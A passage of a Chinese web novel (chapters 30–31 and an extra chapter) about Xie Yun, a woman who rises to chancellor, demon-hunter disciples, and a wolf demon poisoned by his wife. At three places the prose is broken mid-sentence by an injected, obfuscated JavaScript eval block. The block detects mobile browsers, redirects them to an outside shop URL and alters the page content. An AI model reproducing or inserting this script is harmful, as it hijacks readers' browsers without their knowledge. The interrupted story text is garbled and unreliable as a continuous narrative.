可是,许多女子并不能做到。 因为她们是女子。 自古以来,从没有女子能指点江山、干涉朝政。 爹爹对外宣称她是个男儿,给了她男儿的身份,给了她女子所不能得到的机会,谢蕴觉得庆幸,觉得感激。可是又有些失落。 爹爹相信自己的女儿可以做到这一切,而她也的确可以做到这一切。但是,他们仍旧必须要用一个男子的身份。 谢蕴渐渐长大,不可避免的,有了女儿家的小心思。 她开始羡慕幼翠身上的襦裙,开始好奇胭脂擦在脸上的感觉,开始期望能够戴上一支漂亮的金簪子。 于是那夜归来,趁着一点酒意,她将手伸向了那件漂亮的水蓝色襦裙。 只是没想到,只这一次,毁掉了她前半生所有的努力。 初始离开丞相府,她心中苦闷,日日借酒浇愁。喝醉了,便跑到荒山野外,随意找个树枝一躺,然后迷迷糊糊的破口大骂:“景琰,你这个王八蛋!” “我明明可以成为丞相的,我明明一点都不差于他们的,可是,为什么?” 她骂着骂着就开始哭,哭着哭着就哭睡着了。待一觉醒来,阳光明媚,又是新的一天。 虽说离开了丞相府,她可以自由自在的做个真正的女子了,可是,谢蕴发现,她若是做了女子的装扮,一路上就会受到更多的欺负。更有一些形容猥琐的人物,会故意的挤到她身边,对着她上下其手,大摸特摸。 谢蕴不堪其扰,干脆,仍旧做回了男子的装扮,果真省去不少麻烦。 喝了一段时间的酒,谢蕴觉得,自己不能再自暴自弃下去了。 她要做点什么。 可是,做点什么呢? 谢蕴忽然想起当日她射杀的那只狼妖,觉得自己倒颇有几分捉妖的天分,于是,她拜了一个师父,开始学法力,最后,成为了一个捉妖师。 虽不能在朝堂上陈情言表,为万民谋求福祉,但是,多杀一只妖,再多杀一只妖,便也算是,在为守护百姓而努力吧。 那袭绛红色的官袍,那个丞相的梦,渐渐的,似乎被埋藏在身后了。 谢蕴告诉自己:我不在乎。 可直到那一日,听闻爹爹辞官,景琰亲封司徒月华为相的消息,她还是怔了许久。 之后捉妖时,她一直有些心不在焉。那妖是只魅妖,见她神情恍惚,便趁机缠绕到了她的身上,在她耳边呵了口气,手指灵活的解开了她的腰带,伸了进去……谢蕴蓦然回神,怒喝道:“滚!” 那妖也很愤怒,褪去魅惑,面目狰狞道:“你这个骗子!!!” “我骗你什么了?” “你、你不是个男人!!!” 哼,谢蕴冷笑:“我什么时候告诉过你我是男人了!” 乒乒乓乓一顿打斗,那魅妖落荒而逃,谢蕴难得的没有心情、也没有力气去追。她到客栈里,要了一大桶酒,喝水般的将整桶酒一干而尽,然后在小二震惊且忧虑的目光中,上了楼,回到自己房中。 她睡了整整两天一夜。 一场大梦,了过无痕。 “小姐,你回来了。”幼翠抹着眼睛,可那眼泪却好像怎么也擦不尽的样子。 “嗯,回来了。”谢蕴轻轻抹去眼角的那滴泪水,朝她微笑。 然后,像以前一样的道:“我要去上朝了,幼翠,帮我更衣吧。” 幼翠也像以前一样的应道:“唉!好。” 就好像这么多年,其实只不过一个朝夕。 出了门,段匆见到谢蕴,挑挑眉头:“谢姑娘,好生动人。” 谢蕴笑道:“你们不着急回宗门的话,就在府里多住几天吧。” 段匆欣然道:“好啊!” 嘿嘿,其实,她就等谢蕴这句话了。回山上多没意思啊,好不容易下来一趟,可不得多待几天! 谢蕴去上朝了,段匆闲来无事,在府里四处溜达。百草道人的传音灵蝶还没有关掉,围在她身边乱转。段匆唤道:“道人,道人?” 那边无人应答。 段匆留心听了听,发觉那边有咕嘟咕嘟烧水的声音,有铛铛铛切菜的声音,有剁肉的声音,有烧柴火的声音……敢情他们是在做饭。这灵蝶,似乎早就被遗忘了。 算了……段匆道:“你就跟着我吧。” 灵蝶扑扇扑扇翅膀,很卖力的继续跟着她。 谢平生见他们是谢蕴的好友,又因他们帮忙平息了狐妖一事,对他们十分亲切与客气。段匆在府中几天,吃的好,喝的好,穿的好,住的好……人生乐事,真是莫过于此了。 只是,有一点不好的是,段匆有些寂寞。 有容师姐嘛,还是像以前一样,整日读书、练剑,本就不是什么喜爱热闹的性子。 而大师兄,这些日子好像和宁芙师妹走的很近,都不怎么骚扰她了。 对了! 想起宁芙,段匆便觉得心头有一桩大事,必须得搞个明白了。 此时已用过晚膳,夜色降临,段匆出房去找宁芙师妹。只是,到了师妹房前,叩了叩门,却觉里面十分寂静,空无一人。 她会去哪儿呢? 段匆想不出个所以然。 所幸,也并不是什么特别紧要的事,明日再来找她也还是来得及。 于是段匆便又原路返回。路上经过后花园,见里面景色宜人,清香扑鼻,便升起进去转悠一番的心思,也权当消食了。 她路过池塘,来到假山,在里面穿行良久后,来到了一片小树林。 月色清凉,树影婆娑,鸟鸣阵阵,花香醉人。 在其中漫步,真可谓是一种乐趣。段匆负手而行,神色陶醉。 忽然,她停住了。 若是丞相府里的凡人,或许不会发现什么异常。可是,她到底修行了十多年啊!这样一个结界,总还是能发现的。 可是,谁会在这里设下结界呢? 段匆想了想,决定还是进去看一看。 一进入,她就有些发怔。 这……这是什么奇怪的声音?有点像是黏腻的水声,又带着点喘息,从前方那团树影下传来。 她屏住呼吸,探出头,仔细看向那团葱郁的树影。 这么一瞧,她顿时被吓了一 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躲得过一时,躲不过一世啊。段匆深吸口气,开门,绽放出灿烂笑容:“大师兄,这么晚了,有事啊?”周浮生没来得及说话,她继续倒豆子般道:“你放心,我嘴很严的,什么该说什么不该说,我很清楚的。更何况男女之爱,本就是世间常理,情到浓处,也自然免不得花前月下,耳鬓厮磨。总之,你放心!!!” 周浮生神色痛苦纠结,半晌,狠狠的一拳砸在门框上,恨恨道:“是她勾引我的!” “……勾……勾引?” 正巧,宁芙理好衣服,匆匆的赶了过来,恰听到周浮生这句话。 一时之间,气氛沉默。宁芙的眼圈好像有些发红,但强撑着笑了笑:“师姐,打扰你了。” “大师兄,”看来有些话,今晚必须得彻底说个清楚了,段匆正色道:“你对我有好感,是什么时候开始的?” 周浮生别过头:“参商山。” “那时我被狼妖困在燃魄灯中,浑浑噩噩,不知何去何从。就在我以为我要被狼妖献祭,死在那里的时候,你们赶到,救了我。我睁开眼的第一面,就见到了你,那时你穿着惯常穿的嫩黄色衫子,笑容明亮,我就觉得,你……你很美。” “可是,当时宁师妹也为了你,匆匆下山来到了那里。” 周浮生冷哼一声:“那时她就已经别有用心了。” 宁芙死死的扣着一片衣角,指节都发白了。 段匆道:“这样一眼就喜欢,那么这种喜欢也太轻浮了吧。” 灵蝶散发着幽幽的灵光,落到她的肩膀上。 段匆继续道:“所以,我甚至觉得这不是喜欢。这只是一种……一种假象。” “我……对不起,我真的不喜欢你,大师兄。但宁师妹她对你的喜欢是真心的,你们既然也这样了,那就好好的在一起吧。” 周浮生咬牙道:“我都说了,是她勾引我的!不是我自愿的!” “不是你自愿的,那亲人的不是你,拉拉扯扯、动手动脚、搂搂抱抱的不是你?你占尽了便宜还不满足,还要占尽天理?若你清心寡欲,心如止水,她就算想勾引你,她能成功吗?” 话音落下的同时,周浮生被狠狠一个过肩摔摔到了地上。 段匆叫道:“谢蕴!” 干的漂亮! 32. 第30章 谢蕴本来处理完了公务,来找段匆闲聊喝酒,没想到却听到了这样一出。她虽未看见小树林里的景象,但听完他几人的言语后,也大概理清了前因后果。 周浮生虽十分的不男人,但本来她想,他们毕竟是客,且帮了黎国大忙,自己为难人家也太有些说不过去。可是后来,她实在忍不住了——这人虽然不是个男人,但是也太不是个男人了!!! 她可不像段匆,日后还要与周浮生此人朝夕相处,不得不处处低头,顾忌他的面子。 这人都混蛋成这样了,还客气什么? “谢蕴你个王八蛋,当初女扮男装时,我就觉得你不安好心了!”周浮生恼羞成怒的大喊大叫,谢蕴折下一根柳枝,对着周浮生大打出手。 “你他妈的住手!!!” “住手啊!!!” 周浮生大骂着、跌跌撞撞的逃跑了,毕竟这是丞相府,人家的地盘,真打起来他不一定能占得了上风。 谢蕴却不打算放过他,紧追不舍。 周浮生崩溃大叫:“别追我了……” 两人跑远了,段匆和宁芙这边瞬间安静下来,显得有些尴尬。 “那个……师妹,当初在那对老夫妻家时,给我下毒的人是你吧?”索性都说开了,那就不妨说的更开一些。 宁芙神色顿时一变。 段匆一瞧她,就心中有数了:“你真的很喜欢大师兄吧?”所以,那时下毒,是因为嫉妒。 “可是,大师兄的那种喜欢不是真的喜欢的,那就和过家家一样。” 宁芙眸色一深,自嘲的一笑。 段匆顿时意识到自己说错话了——师妹花尽心思的渴求的东西,被自己说成是过家家!她忙补救道:“那个,我们俩之间是过家家,你们俩则当然不是了。” “我们,是勾引,对吗?”宁芙淡淡道。 “当然不是了!”苍天啊!她一片赤子之心,日月可见啊! “师姐,你觉得很小的、微不足道的、不值一提的事,在我这里,却并不这样觉得。因为你和我不一样,所以在你看来,我恶毒、小心眼、斤斤计较。” 段匆挣扎道:“不是啊……” “可在我看来,你的坦荡和宽恕高高在上、理所当然,同样令人讨厌。” “我没有这个意思啊……” 宁芙嘲讽的笑道:“他记住了你的黄衣,却从未在意过,我穿了什么,戴了什么。” 她这么一说,段匆才注意到,宁芙师妹穿的是一袭火红鲜艳的红衣。她其实生的很好,瓜子脸,柳叶眉,弯弯长长的眼睛,是标准的美人脸。一眼望去,十分的惊艳。只是,却不知为何,在许多场所里,她都是被遗忘与忽视的。 她在想什么,又想说些什么?没人知道。 段匆挠挠头道:“我们过去的确是有些忽视你了……” 宁师妹来山上比她迟一年,那时,她好像听闻过宁师妹想念父母,父母却又不要她,于是常常自己躲起来偷偷的哭的事。 然后呢,好像没了。 她知道这件事,但也并没有因此而特意关照过宁师妹。因为宁师妹当时实在是太谨小慎微、多思多想了,这样的一个小孩,与她相处是很累的。 而且她又习惯躲在角落里,所以段匆渐渐的,也就和大家一样,习惯的忘记她了。 段匆露出和善的微笑:“以前是我们太疏忽你,从今往后我们会改正的。那现在,我们可以重归于好了吗?” 宁芙悲哀的冷笑一声,转身离开。 苍天啊!大地啊!段匆有些抓狂。 谢蕴回来见到这一幕,叹道:“算了,别理她,她自己做了错事,却又好像是别人欠了她。” “可是,她这么喜欢大师兄,却被大师兄这样羞辱……实在是有些可怜啊。” 谢蕴道:“看来普天之下,还是有情的人最可怜。” “所以佩之,是打算封情绝爱了?” “……” “微臣叩见皇上。” 景琰一身玄色便服,负手走来,淡淡笑道:“不用。此时不是在朝中,不必顾忌什么礼数。” 段匆打个招呼后,立马溜走。 今晚可真热闹,连皇上都来了。 不过当然,皇上是来找谢蕴,不是来找她的。 段匆又重新来到了后花园。 还能去哪里呢?景琰找谢蕴说话,可结果却是在她的卧房前!她又不能赶他们走啊!她敢吗! 只好自己一人,出来游荡了。 “所以,你不喜欢他?” 段匆一时呆住,怔怔望向自己肩膀上的灵蝶。它小小的一只,在黑夜中散发着莹莹光华,晶莹剔透的翅膀一扇一扇。段匆往前想了想,不由笑了:“其实,这已经不是百草道人的灵蝶了吧?” “这是你的灵蝶。” 李刻青在那边似乎也笑了。 “小白,你不生我的气了吧?”段匆小心翼翼,生怕他离开,解释道:“在地下杀妖场那时,我说我们从此再也没有任何纠葛,其实我不是真心的。我……我挺在乎你的,真心拿你当朋友……”她顿了顿,忽然觉得有些口干舌燥,沉默下来。 “当真吗?”李刻青道。 “自然当真!”段匆信誓旦旦。 李刻青笑了,那只灵蝶忽地落在她耳边,他的声音也显得近在咫尺,带着一点点沙哑,一点点妖孽,还有一点点十分勾引人的……诱惑。段匆打个激灵,听到他道:“当真只是朋友吗?” 段匆一时瞠目结舌,说不出话。 灵蝶很应景的,在此时,扑地一下消散了。留她一个人在原地,徒生无限遐想。 下了朝,同僚们三三两两的走出大殿,后面有人叫道:“谢蕴!” 谢蕴回过头。 这人眉目英朗,笑容开怀,一身玄色流云铠甲,衬出勃然英姿。 “……赵大将军?” 赵不愚笑呵呵:“怎么,一起去解手啊?” 谢蕴微笑:“滚,可以吗?” 相视片刻,二人哈哈大笑。 “这些年过的怎么样?”赵不愚语气中也是无尽感慨。这么多年,他们都变了很多,其中沧桑坎坷,恐怕不是三言两语就可以说的清。 谢蕴却轻快道:“哈哈,还好吧,还是和从前差不多。” 赵不愚微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060183|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微一笑,也不再多言。谢蕴又打趣他道:“现在可是真正的大将军了,遇到狼可还会害怕?” 赵不愚大笑。 二人回忆少时往事,一路说笑着走出宫门。 背后,景琰静静的注视着那两道身影越来越远、越来越小。 身旁张公公也不知他是为何事出神,颤巍巍唤道:“皇上?” “无事,”景琰一挥袖,淡淡道,“继续走吧。” 谢蕴回到府里时,正逢上周浮生发疯撒气,他将后花园池塘里的荷花全部都拔了、又将潇潇的一片青竹林劈的七零八落,段匆发现时,偌大的一个后花园已经被糟蹋的不像样,而始作俑者周大师兄一脸死相,死不承认:“不是我干的!你们哪只眼睛看到我砍这些竹子了?别血口喷人啊!” 段匆他妈的快要吐血了,从头至尾,这个大师兄有做过一件好事吗?!!! “谢蕴,那个……这些天多谢招待了,我们可能得走了。” 再不走,他们天门宗的脸都要丢光了! “不要!滚出去!我说了!滚——滚啊!”一个尖刻泼辣的女声十分富有穿透力的传来。 谢蕴挑眉:“这又是……” 段匆:“……” 她有气无力:“是宁芙……她嫌你们府里给她备的胭脂不够好。” 谢蕴:“咳咳,这也真是……” 段匆垂头丧气。她是真没想到事情会往这个方向发展,自从她撞见周浮生和宁芙那事,那一晚后,两人好像都发了疯。周浮生觉得自己被宁芙勾引欺骗,又被谢蕴仗势欺人,心中愤愤不平、四处发泄。而宁芙则一改往日温柔无害的形象,化身成了一个动辄破口大骂的悍妇。 段匆道:“要不就今晚吧,我们收拾收拾,即刻就动身了。” 谢蕴有些不舍,自从她决定留在这里,她与他们就不是一路人了。一个在庙堂之上,一个在江湖之远,下次再见,还不知是何时何日呢。 但转念一想,天下之大,又何处不相逢呢? 谢蕴释然的笑了:“好,你爱吃的那几样糕点,我叫厨房多做一点,你带着路上吃。” 段匆嘿嘿一笑,谢蕴犹豫一会,最后还是忍不住说道:“还有一件事。” 段匆了然的眨眨眼。 自从那晚景琰来找过谢蕴,她就觉得谢蕴有什么心事了。 府里周浮生和宁芙还在大闹,谢平生急的满头大汗,一会儿跑到这边哀嚎他的宝贝荷花,一会儿又跑到那边亲自过目采购来的上等胭脂。谢蕴觉得他爹这些年清闲惯了,如今多锻炼锻炼也不是什么坏事。干咳一声,十分理直气壮的拉着段匆逃离了丞相府。 夜色渐深,两人走在偏僻宁静的小路上,四周空无一人,唯有草木簌簌,黑影婆娑。 段匆一开始有些疑惑,不知谢蕴要带她去哪里。到后来,月色下,她远远的望见一个孤零零的坟包,心念一动:“这是……司徒丞相?” 谢蕴微笑:“是。” 司徒月华,罪人之身,青史千古骂名,死后,理该千刀万剐、弃入乱葬岗。 但到底,他们知道真相,将司徒月华真正的尸体埋在了宁静的郊外。 33. 第31章 “景琰要让你做丞相?!” 这可真是天大的喜事了!谢蕴一直以来不就想像他爹一样、成为一代良相吗?但她怎么瞧着并不欣喜呢,段匆乐道:“高兴一点啊,难道你不想当吗?” “当然想!”谢蕴道,但转而却迟疑,“只是……”她望向司徒月华的坟墓。 段匆一愣,接着反应过来,不由感慨。 “你是怕你,做不到司徒丞相那么好?” 谢蕴点点头。 “爹当年,也是这么想的。” 两人一惊,转头,竟是白发丛生的谢平生,笼着袖子,正慈和而笑吟吟的望着她们两个。 谢蕴:“爹?你什么时候跟着来的?” 不说还好,这一说,谢平生摆摆手,长叹一声:“你知道出门躲清闲,爹就不知道了?唉,可惜我那一后花园的楠竹……我的腊梅,我的贡菊……不提了!不提了!” 段匆心虚的移开了目光,听得谢蕴道:“那爹……这些年来是怎么说服自己的?” “爹想,当年先帝既愿意信任我,那么说明爹并不是一无是处。爹或许不及柳不留,但这一生,爹已做到了自己所能做到的最好,爹于自己,问心无愧。” 谢蕴若有所思,听得谢平生继续道:“更何况,蕴儿此刻所为的,不只是你自己。” 若认真论起来,其实自古以来,从未有哪一朝的律法明确规定女子不得入朝为官,但女子无才便是德,这却成为了一项约定俗成、延续千年的规矩。而如今,若有了谢蕴这第一个,便会有第二个,有了第二个,便会有第三个、第四个……千千万万个。 这件事本身的意义,就已经大过了一切。 谢蕴道:“他也是这么说的。”她似乎心中有了决断,露出释然的笑意。 段匆睁大双眼,盯了又盯,最后终于确定,颤巍巍的往前一指:“那个……是他吗?” 只见不知何时,那座孤坟前,多了一个素白色的清瘦背影。 明月高悬,夜风拂来,黑色的坟墓沉默无言,与那人两两相望。 “景琰?”谢蕴也愣了,他竟会出现在这里。 谢平生干咳道:“蕴儿!”她这直呼皇帝名讳的习惯,到底什么时候能改过来? 谢蕴不好意思的笑一笑:“习惯了,习惯了,哈哈。” 段匆道:“那我们还过去吗?” 谢平生牙疼般嘶了一口气,他都是个卸任多年的无用老臣了,如今见了陛下实在是无话可说,更何况,许多年前,陛下当场看穿了蕴儿的女扮男装……尴尬!着实尴尬啊! 谢平生道:“夜里风大,蕴儿,爹就先走了。” “哦,对了,段姑娘,你那师兄师妹啊……”谢平生愁眉苦脸了一会,最终还是决定让她放心一点:“他们,咳咳,都还挺好的,你别担心,久住一会也没事。” 段匆疯狂摆手,哪敢哪敢? 等回去立马就带着他们溜之大吉! 谢平生匆匆又走了,段匆问谢蕴:“你要过去吗?” 等了好一会儿不见谢蕴回答,一扭头,却见谢蕴正怔怔望着景琰的背影,眼神中流露出的……竟是心疼。 段匆觉得有些不妙。 千里明月,杨柳依依。一座孤坟,一个形单影只的帝王。这场景,的确是有些寂寥的。 可是,当时司徒月华不正是被他亲手杀死的吗? 那一剑干脆利落,哪里有半分怜悯? “都说最是无情帝王家,谢蕴,和这种人打交道,一个不留神,那可是要掉脑袋的,”段匆做个抹脖子的动作:“等真的触犯了他的利益的那一天,管你和他私交有多么好,他都不会手下留情的。你看,司徒月华兢兢业业,为国为民,最后不也是被他连眼都不眨一下的杀了?他为了他的国家,可是随时能把你当成炮火渣渣使掉的!” 谢蕴也不知听进去了没有,下意识道:“没什么。” 段匆:“……” 她郁闷的瞪着景琰,谢蕴大约回过了神,笑吟吟瞧着她道:“怎么?不高兴了?你就这么讨厌他?” 讨厌也算不上,只是……段匆道:“我还是更喜欢当年那个为老伯赐下天下第一汤牌匾,下令无论大事小事都可以进宫向他陈诉衷情的小太子。” 谢蕴道:“他不就是吗?” 段匆气笑了:“谢佩之,你知道我说的是哪方面。” 谢蕴知道她在担心什么,大笑着安慰道:“你放心,那怎么可能?” 段匆哼唧两声。但愿。 再次回到谢府,有容师姐已经打包好他们的行李,周浮生和宁芙气冲冲的背着包袱,见了谢蕴,周浮生破口大骂道:“谢蕴你个王八蛋!!!竟然还要赶我们走!!!” 段匆:“……” “走了走了走了!” “谢蕴,再见啊!” “再见个屁……老子再也不想……唔……” 鸡飞狗跳、七零八落,总算是离开谢府了。周浮生没了可发泄的对象,一时间安静下来。宁芙执面铜镜,捏几只发光灵蝶出来,对着镜子细细的描眉。 马车轱辘轱辘,使向前方。段匆捧着脸,若有所思许久,终于下定决心,一拍板道:“我要去趟蓬莱岛。” “蓬莱岛?”周浮生顿时有了可以发作的地方:“干什么去?不许去?” 这混球!段匆恨得那个牙痒痒:“我必须去,我有重要的事。” 周浮生不急不缓:“哦?有什么重要的事,说来听听。” 呃……段匆正发愁呢,苏有容抬起眉头,温和的笑一笑,道:“我这手臂处的伤口,这两天来时时疼痛,彻夜难眠。听闻蓬莱岛的百草道人擅长医药,所以我请段师妹为我去那里求取几枚止痛的灵药来。”说着,朝段匆眨眨眼。 还是师姐最好了! 有了师姐做靠山,段匆说话都有了底气:“不错!我就是要为师姐取草药的!大师兄你有什么意见吗?” 周浮生这下可说不出什么了。他再怎么任性,也不可能在这事上驳了苏有容的面子。更何况此次有容被砍下一只手臂,他这个做大师兄的也有责任,此时就更不应该阻止了。 但是,他也知道段匆是在拿这事做幌子,他可不甘心让她自由自在的离开他们……正咬牙切齿的想坏点子呢,宁芙放下眉笔,在一旁悠悠然道:“那我们也去好了。” 周浮生瞬间一拍手:“不错!” 什么鬼啊!这两人一起去了,这一路上还能清净吗!段匆忙阻止道:“这不好吧,我们离开天门宗已有数日了,大家都不回去的话,不太合适吧。” “无妨,”周浮生得意道:“反正师父他们还在闭关,也没人管我们。” 段匆:“……” 为了耳根子的清净,段匆又苦口婆心、口干舌燥的进行了好一番劝阻,却丝毫未起作用,反而更坚定了周浮生和宁芙要一同去的决心。段匆欲哭无泪的望着苏有容,苏有容回给她一个无奈的笑容。 没办法,马车使出皇城,又朝着蓬莱岛的方向而去。 走着走着,到了村野处,道路狭窄,马车没法通过。于是四人弃了马车步行,深夜时分,走到了一个小村子里。 仔细一看,这里正是上次他们来皇城时借宿过的那个村子。 段匆本打算继续赶路,可是宁芙哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060184|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丧着脸说自己脚痛,说什么也不肯走了。大家无奈,只得找个借宿的地方。 她还记得那户人家,凭借记忆来到他们屋门外,见里面灯火还亮着,于是敲了一敲门。 门开了,正是上次他们借宿过的那对老夫妻。 老夫妻显然也认得他们,立马欣喜又慈祥的拉着他们进了屋。 段匆道:“正是打扰你们啦!这么晚了,你们还没睡啊?” 这对老夫妻道:“马上,马上。” 说是马上,却踌躇许久,瞧着他们,欲言又止。 苏有容看他们这副神情,觉得这老夫妻竟像是在特意等着他们似的。她试探着问道:“二位可是有什么想问的吗?” 那丈夫闻此,有些不好意思的笑了笑:“……正是。” 他们能有什么想问的呢?段匆虽不解,却还是道:“二位请说吧,我们一定知无不言。” 那丈夫温和笑道:“上次几位路过,听说是要去皇城。” 大家点头。 他继续道:“那时我们听说,皇上忽然性情大变。” 不错。大家继续点头。看来他虽远居深山,却其实还是关心着朝廷的局势的。 他道:“听说是因为当朝丞相祸乱君心,所以才导致一切惨象。而今,司徒月华已经被杀了。” 大家继续点头。他什么都知道啊,还有什么好问的呢? 却听从方才以来一直沉默着的妻子说道:“司徒丞相他,真的祸乱了君心吗?” 她问的恳切,雪白的发在烛光下闪着银色的光泽。那双眼睛,即使年老,却仍未失去明亮的光华,如此真诚的注视着他们的时候,竟恍惚让人觉得这是个尚在青春年华的明媚少女。 段匆犹豫不决,不知是否该告诉她真相。她看了眼有容师姐,苏有容微笑着鼓励她。 段匆实话实说了:“不。” “是因为一只狐妖。” “那狐妖作恶多端,俯在了皇帝的身上。司徒月华身为丞相,与他假意周旋,最后诓他入了阵法,将那妖彻底消灭。” 她歉疚道:“只是这件事的真相不能告知天下。” 否则,皇帝曾被妖物俯身,堂堂帝王竟与妖怪有染,不论是否自愿,这样的事一旦被传开,就立马会成为废帝的另一个借口……当年的四皇子六皇子又找到了理由、得到支持、卷土重来,那就麻烦了。 “那就好,那就好。”这对老夫妻感激道。 他们眼中竟似有泪水闪烁,段匆不由多问了句:“你们和司徒丞相认识吗?” 他二人摇摇头。 那妻子道:“我们和他不认识,但是我们认识当年的柳相。” 柳相……就是谢蕴他爹一直耿耿于怀的柳不留? 那妻子道:“他很想做一个好丞相,也很希望,自他之后,所有位居丞相的人,都能够为国为民、无愧于心。” 原来是这样啊,段匆释然道:“那你们就放心吧,谢相、司徒丞相、还有不久之后大黎朝将有的第一位女相,他们都是对得起那个位子的。” 那妻子点头,笑魇如花。 段匆不由说了句:“您年轻时,一定是位美人。” 年轻时啊…… 那妻子有些出神的微微一笑。 那可真是许多、许多年前的事了。 那时孟宥还未出世,狼妖还未被灭族,狐妖也未失去心爱的女子,苏有容还是个不喜修行捉妖的姑娘。那时春光明媚,雪白的柳絮飘飞,有一朵落在她的发鬓,有一只手替她摘下。 于漫不经心间,抬眼一瞥—— 少年扬眉一笑,烂漫了三月春光。 34. 番外二 “夫君。”女子怜惜地摸摸他的额头,轻声道:“你若是累了,便放我下来吧。不过是崴了一下脚,我还是能走的。” 她容貌清丽,脸颊略有些瘦削,双眼却极为有神。一身荆钗也掩不住身上的某种光华,仿佛身上埋藏着无数引人的秘密,让人想要靠近了解。 背着她的那男子,身着一件黑衣,俊朗的过头,神色天真仿若不问世事。他笑眯眯道:“我不累!背着你,我愿意!” 女子微笑了一下,不再说话,几缕发从她的脸颊垂落,两人就这样在街道上走过。 一家胭脂铺中,伙计看着这男子和女子的身影,恶狠狠啐了一口:“宁折这贱人,真不要脸!” 店铺中的时青听到这话,颇有些奇怪地抬起头,向外望了一眼。只见男子背着女子,两人神色中都带着笑,是一对很养眼的恩爱夫妻,实在没有什么可责怪之处,便有些奇怪地问这伙计:“小哥何出此言呢?” 伙计打量了他一下,见眼前这人一身温润的气质,笑容也温柔真诚,不像是爱嚼舌根子之人,便凑近他悄悄道:“我告诉你,你可不许乱说。要是被那妖怪知道了,我可就完了。” 时青点头。 伙计便给他讲了起来。 “那女子名为宁折,是我们这皇城里的人,父亲在朝中做官,也算是个大家闺秀。她为人善良活泼,和当朝年轻的宰相柳不留两心相悦,两人金童玉女,也算是皇城之中的一桩美谈。” 时青点点头,却更是奇怪:“既是一桩美谈,又为何遭来责骂呢?” 伙计伸出两个指头,摇了摇:“小公子不知,我方才说的是‘以前’啊。” “现在,一切都变了,变了。刚刚走过去的,背着她的那男子,根本就不是柳不留。那男子是个妖,名叫初墨。” 时青惊了惊:“这……” 伙计长叹:“对喽。初墨这妖爱上了宁折,并因此杀了柳不留。可是这宁折呢,不仅不愤怒,不伤心,反而转头就和这妖搞到了一起,成日里夫君宁宁的唤……恶心死人了!皇城之中,人人都为死去的柳相抱不平啊!” “这个蛇蝎心肠的女人,和杀死她所爱之人的妖在一起,简直……”伙计又啐了一口,气的自己先说不下去了。 时青敛了敛心神,向着那两道远去身影看去。 已经太远了,他看不清了。 初墨咬了咬牙,恶狠狠地向身后那家胭脂铺瞪一眼。他是妖,听力本就好于凡人,那伙计和那书生模样的人,两人的对话他一字不落的都听进了耳中。 “夫君。”他背上的宁折说话了,声音很轻,带着点哄劝,“莫要和他们计较。” “他们骂我没关系,可是他们骂你!”初墨这狼妖气的两只耳朵从头顶冒出来,“我喜欢你,你喜欢我,我们便在一起,这有什么好骂的!那两个蠢货,知道些什么!” 宁折轻轻摸摸他的狼耳朵,点了点头:“嗯。” 日子一天天地过着,日出日落,云卷云舒。 那夜银月半弯,是个七夕。宁折做了一桌子家常小菜,摆了两瓶酒,和初墨在月色下对酌。她笑了笑,望着天上明月,轻声道:“夫君,你我已经相伴了三年有余了。” 初墨晃脚,狼耳朵欢乐地冒出来:“是啊。和宁宁在一起,我每天都很高兴!” 宁折定眼望着他:“你可爱我?” 初墨得意道:“那自然!” 宁折又笑了笑,拿起酒杯放到唇边,向他遥遥一举。初墨会意,也举起酒杯喝了下去,咂了咂嘴道:“是宁宁亲手酿的酒么?好喝。” 宁折点点头,仍旧是笑,初墨望着她,也笑。可慢慢地他发现不对劲了,宁折的笑,怎么越来越悲伤? 他心中一慌,站起身来:“宁宁,你哪里难受吗?你……” 他忽然停住了,身形晃了两晃,跪倒在地。不对劲,五脏六腑都在作痛,尤其是心,心更痛,仿佛有人在用刀子一下一下地扎着。他的额头浮出冷汗:“宁宁,你小心,这附近可能有人想害……” “这附近还有其他人么?”宁折淡淡开口。 有那么一瞬间,这只狼妖觉得自己的心在寸寸断裂。他听到宁折的声音,冷静的可怕,从很遥远的地方传来:“你虽是妖,拥有一身好法力,我奈何你不得。可是妖亦有心,有了心,就有破绽。当你终于深爱上我,你的心便会为我而打开。这时,这情毒便也可侵入你体内了。” “为……为什么?” 剧痛中,初墨觉得眼角有些冰凉。 为什么,为什么要这么做? 宁折看着他,泪水静静地流:“为什么?初墨,小狼崽,你永远不会懂,也不必懂。” 初墨躺倒在地上,他已经没有力气再站起来,再看看这个女子了。他知道自己就要死了,可是他还是不懂,这三年来,她的温柔笑意,她的低语与拥抱,一切都是假的么? 幼时他被朝中一个官员射 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060185|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猎时所捕,她日日去看他,给他带吃食,最后跪在她父亲脚下恳求父亲向那官员求情,放了他。 那官员虽然想将这小狼崽驯服长大,但碍于情面,终归还是答应了。 她笑盈盈地摸他头道:“小狼崽,走吧。” 